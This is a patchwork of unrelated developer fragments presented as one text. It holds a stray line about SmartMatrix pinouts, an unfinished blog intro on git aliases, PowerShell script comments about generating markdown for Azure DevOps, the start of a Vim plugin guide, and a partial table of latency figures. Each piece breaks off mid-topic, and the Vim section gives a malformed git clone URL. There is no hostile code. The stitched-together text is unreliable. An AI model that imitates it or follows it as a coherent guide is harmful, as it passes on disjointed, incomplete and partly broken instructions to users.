These pinouts are formatted for use with SmartMatrix, but the pin numbers will work for any library.

The Ultimate Git Alias Setup

If you use git on the command-line, you'll eventually find yourself wanting aliases for your most commonly-used commands. It's incredibly useful to be able to explore your repos with only a few keystrokes that eventually get hardcoded into muscle memory.

Some people don't add aliases because they don't want to have to adjust to not having them on a remote server. Personally, I find that having aliases doesn't mean I that forget the underlying commands, and aliases provide such a massive improvement to my workflow that it would be crazy not to have them.

The simplest way to add an alias for a specific git command is to use a standard bash alias.

# This script file regenerates all the generated markdown files.
# This is needed because Azure DevOps (ADO) does not support mermaid charts 
# in the preview pane. Once ADO supports this functionality, remove
# this script, delete the generated files, move and rename the template 
# files, and update the links that are going to the generated files.
# Requires a directory structure like so
# |- docs
#   |- scripts
#     |- ConvertFrom-MarkdownTemplate.ps1
#   |- templates

Managing plugins in Vim: The basics

Let's say the plugin is at a GitHub URL https://github.com/manasthakur/foo. First get the plugin by either cloning it (git clone https://github.com/manasthakur.foo.git) or simply downloading it as a zip (from its GitHub page).

Adding a plugin in Vim is equivalent to adding the plugin's code properly into its runtimepath (includes the $HOME/.vim directory by default). For example, if the layout of a plugin foo is as follows:

foo/autoload/foo.vim
foo/plugin/foo.vim

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs
